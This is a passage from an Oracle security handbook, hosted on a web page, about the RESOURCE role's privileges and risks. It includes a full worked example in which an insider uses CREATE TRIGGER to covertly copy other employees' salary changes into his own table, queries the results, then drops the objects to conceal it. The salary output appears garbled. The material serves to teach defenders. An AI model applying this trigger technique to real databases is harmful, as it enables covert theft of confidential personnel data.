052 - 5.3 The RESOURCE Role


Oracle Security
By William Heney, Marlene Theriault
Table of Contents
Chapter 5.  Oracle Default Roles and User Accounts

5.3 The RESOURCE Role

The RESOURCE role grants a user the privileges necessary to create procedures, triggers and, in Oracle8, types within the user's own schema area. Granting a user RESOURCE without CONNECT, while possible, does not allow the user to log in to the database. Therefore, if you really must grant a user RESOURCE, you have to grant CONNECT also or, at least, CREATE SESSION so the user can log in.

5.3.1 System Privileges for the RESOURCE Role

The system privileges for the RESOURCE role are shown in Table 5.2.

Table 5.2. RESOURCE Role System Privileges







CREATE TYPE (new in Oracle8)

5.3.2 Problems with the RESOURCE Role

There are several potential problems with the use of the RESOURCE role. The Oracle-supplied roles can be moving targets

As we mentioned earlier in the section "About the Defaults," the system privileges of an Oracle-supplied role may change with a new version or upgrade release. For example, the privileges listed in Table 5.2 are from an Oracle8 RESOURCE role. Note that in an Oracle7 database, the CREATE TYPE privilege does not exist. There is another problem that has as much or more impact on your database security, which we examine next . UNLIMITED TABLESPACE access

Another issue with the RESOURCE role is that the UNLIMITED TABLESPACE system privilege is explicitly granted. This privilege gives the user unlimited quotas on any tablespace in the database. Even if an explicit quota is specified for a user, if the user has been granted the RESOURCE role, the user may create objects on any tablespace, including the system tablespace.

For example, suppose that the user account mary is created and granted the RESOURCE role. Even if mary is altered and a quota of zero (0) is given on the system tablespace, mary can still create objects in the system tablespace because of the UNLIMITED TABLESPACE system privilege granted to the account. About the CREATE TRIGGER privilege

Note that the RESOURCE role only adds three privileges to those provided by the CONNECT role: CREATE PROCEDURE, CREATE TRIGGER, and CREATE TYPE.

Use of the CREATE TRIGGER privilege may lead to an interesting situation. One of the most touchy aspects of a personnel system is salary. Suppose that the following situation exists:

  • Employee Ralph Rotten (username ralph ) has been granted the CONNECT and RESOURCE roles.

  • Schema mary is the production schema owner. The employee table within mary contains salary information, which is sensitive data.

  • ralph does not have any privileges on mary 's employee table.

  • ralph is a bit of a hacker.

Now, user ralph finds out the structure of the employee table through the system documentation. User ralph then creates a script containing the following commands:

 SQL>  CREATE TABLE private_audit    2    (id_of_user          VARCHAR2(30),     3    action_performed     VARCHAR2(5),     4    tab_name             VARCHAR2(30),     5    pkey                 VARCHAR2(20),     6    salary               NUMBER(10,2),    7    date_of_action       DATE)    8  ; Table created. SQL>  GRANT select, insert, update ON private_audit   2      TO public; Grant succeeded. 

OK. User ralph then creates a trigger on the mary.employee table, a table that ralph cannot even describe!

 SQL> CREATE OR REPLACE TRIGGER BIUDR_EMP    2   BEFORE INSERT OR UPDATE OR DELETE    3   ON mary.employee    4   FOR EACH ROW    5 /* Capture the salary information and the user changing it!  */    6 DECLARE    7   tyact   VARCHAR2(1);    8   enam    VARCHAR2(20);    9   sal     NUMBER(10,2) := :new.sal;   10 BEGIN   11   IF INSERTING THEN   12     tyact := 'I';   13     enam  := :new.ename;   14   ELSIF UPDATING THEN   15     tyact := 'U';   16     enam  := :old.ename;   17     IF sal = 0 OR sal IS NULL THEN   18        sal   := :old.sal;   19     END IF;   20   ELSIF DELETING THEN   21     tyact := 'D';   22     enam  := :old.ename;   23     sal   := :old.sal;   24   END IF;   25   25 INSERT INTO ralph.private_audit   26    (id_of_user,action_performed,tab_name,pkey,date_of_action,salary)   27  VALUES   28    (user, tyact, 'EMP', enam, sysdate, sal)   29 ;   30 /   Trigger created. 

Having done this on the morning that new hires are registered or when raises are due, user ralph then waits. During the day, the payroll administrator runs the application to give the raises. About 4:00 p.m., ralph runs this query:

 SQL> @qpaud1 SQL> COLUMN id_of_user FORMAT a8 HEADING uname SQL> COLUMN action_performed FORMAT a3 HEADING act SQL> COLUMN tab_name FORMAT a10 SQL> COLUMN salary FORMAT ,999.90 SQL>  SQL> SELECT *    2    FROM private_audit   3   ORDER BY pkey; uname    act TAB_NAME   PKEY                      SALARY DATE_OF_A               -------- --- ---------- -------------------- ----------- ---------               SYSTEM   U   EMPLOYEE   ALDER                  ,149.50 01-MAR-98               SYSTEM   U   EMPLOYEE   ARDEN                  ,660.80 01-MAR-98               SYSTEM   U   EMPLOYEE   BROWN                  ,092.25 01-MAR-98               SYSTEM   U   EMPLOYEE   CLARY                  ,658.25 01-MAR-98               SYSTEM   U   EMPLOYEE   JAMES                    2.75 01-MAR-98               SYSTEM   U   EMPLOYEE   JOHNS                  ,227.88 01-MAR-98               SYSTEM   U   EMPLOYEE   MARTIE                 ,297.50 01-MAR-98               SYSTEM   U   EMPLOYEE   MIKERT                 ,358.50 01-MAR-98               SYSTEM   U   EMPLOYEE   SAMUALS                ,000.00 01-MAR-98               SYSTEM   U   EMPLOYEE   SMYTHE                   6.00 01-MAR-98               SYSTEM   U   EMPLOYEE   TANNER                 ,557.00 01-MAR-98               SYSTEM   U   EMPLOYEE   WALTEN                 ,297.50 01-MAR-98               12 rows selected. 


User ralph then drops the trigger and table to conceal what has been done, but retains the scripts to recreate the table and trigger when the next pay raises are due to be given.


Oracle Security
Oracle Security Handbook : Implement a Sound Security Plan in Your Oracle Environment
ISBN: 0072133252
EAN: 2147483647
Year: 1998
Pages: 154

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net